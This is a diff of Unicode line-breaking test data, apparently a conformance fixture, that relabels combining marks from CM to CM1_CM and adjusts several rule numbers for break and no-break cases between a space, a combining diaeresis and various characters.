-× 0020 ÷ 0308 × 0020 × 0029 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0020 ÷ 0001 ÷ # × [0.3] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0020 × 0020 ÷ 0001 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0020 ÷ 0308 × 0001 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0020 ÷ 0308 × 0029 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 0029 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0020 × 000D ÷ # × [0.3] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0020 × 0020 × 000D ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0020 ÷ 0308 × 000D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 000D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0020 ÷ 0308 × 000D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 000D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0020 × 0021 ÷ # × [0.3] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0020 × 0020 × 0021 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0020 ÷ 0308 × 0021 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 0021 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0020 ÷ 0308 × 0021 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 0021 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0020 ÷ 00A0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0020 × 0020 ÷ 00A0 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0020 ÷ 0308 × 00A0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0020 ÷ 0308 × 00A0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0020 ÷ AC00 ÷ # × [0.3] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0020 × 0020 ÷ AC00 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0020 ÷ 0308 ÷ AC00 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0020 ÷ 0308 ÷ AC00 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0020 ÷ AC01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0020 × 0020 ÷ AC01 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0020 ÷ 0308 ÷ AC01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0020 ÷ 0308 ÷ AC01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0020 ÷ 05D0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0020 × 0020 ÷ 05D0 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0020 ÷ 0308 × 05D0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0020 ÷ 0308 × 05D0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0020 ÷ 002D ÷ # × [0.3] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0020 × 0020 ÷ 002D ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0020 ÷ 0308 × 002D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0020 ÷ 0308 × 002D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0020 ÷ 231A ÷ # × [0.3] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0020 × 0020 ÷ 231A ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 231A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 231A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0020 ÷ 2024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0020 × 0020 ÷ 2024 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0020 ÷ 0308 × 2024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0020 ÷ 0308 × 2024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0020 × 002C ÷ # × [0.3] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0020 × 0020 × 002C ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0020 ÷ 0308 × 002C ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 002C ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0020 ÷ 0308 × 002C ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 002C ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0020 ÷ 1100 ÷ # × [0.3] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0020 × 0020 ÷ 1100 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 1100 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 1100 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0020 ÷ 11A8 ÷ # × [0.3] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0020 × 0020 ÷ 11A8 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 11A8 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 11A8 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0020 ÷ 1160 ÷ # × [0.3] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0020 × 0020 ÷ 1160 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 1160 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0020 ÷ 0308 ÷ 1160 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0020 × 000A ÷ # × [0.3] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0020 × 0020 × 000A ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0020 ÷ 0308 × 000A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 000A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0020 ÷ 0308 × 000A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 000A ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0020 × 0085 ÷ # × [0.3] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0020 × 0020 × 0085 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0020 ÷ 0308 × 0085 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 0085 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0020 ÷ 0308 × 0085 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 0085 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0020 ÷ 17D6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0020 × 0020 ÷ 17D6 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0020 ÷ 0308 × 17D6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0020 ÷ 0308 × 17D6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 17D6 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0020 ÷ 0030 ÷ # × [0.3] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0020 × 0020 ÷ 0030 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0020 ÷ 0308 × 0030 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0020 ÷ 0308 × 0030 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [23.02] DIGIT ZERO (NU) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0030 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0020 ÷ 0028 ÷ # × [0.3] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0020 × 0020 ÷ 0028 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0020 ÷ 0308 × 0028 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0020 ÷ 0308 × 0028 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [30.01] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0028 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0020 ÷ 0025 ÷ # × [0.3] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0020 × 0020 ÷ 0025 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 0025 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0020 ÷ 0308 × 0025 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [24.03] PERCENT SIGN (PO) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0025 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0020 ÷ 0024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0020 × 0020 ÷ 0024 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0020 ÷ 0308 ÷ 0024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0020 ÷ 0308 × 0024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [24.03] DOLLAR SIGN (PR) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0024 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0020 ÷ 0022 ÷ # × [0.3] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0020 × 0020 ÷ 0022 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0020 ÷ 0308 × 0022 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0020 ÷ 0308 × 0022 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ 0022 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0020 × 0020 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0020 × 0020 × 0020 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 0020 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 0020 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0020 × 002F ÷ # × [0.3] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0020 × 0020 × 002F ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0020 ÷ 0308 × 002F ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 002F ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0020 ÷ 0308 × 002F ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 002F ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0020 × 2060 ÷ # × [0.3] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0020 × 0020 × 2060 ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0020 ÷ 0308 × 2060 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0020 ÷ 0308 × 0020 × 2060 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0020 ÷ 0308 × 2060 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0020 ÷ 0308 × 0020 × 2060 ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0020 × 200B ÷ # × [0.3] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0020 × 0020 × 200B ÷ # × [0.3] SPACE (SP) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0020 ÷ 0308 × 200B ÷ # × [0.3] SPACE (SP) ÷ [18.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
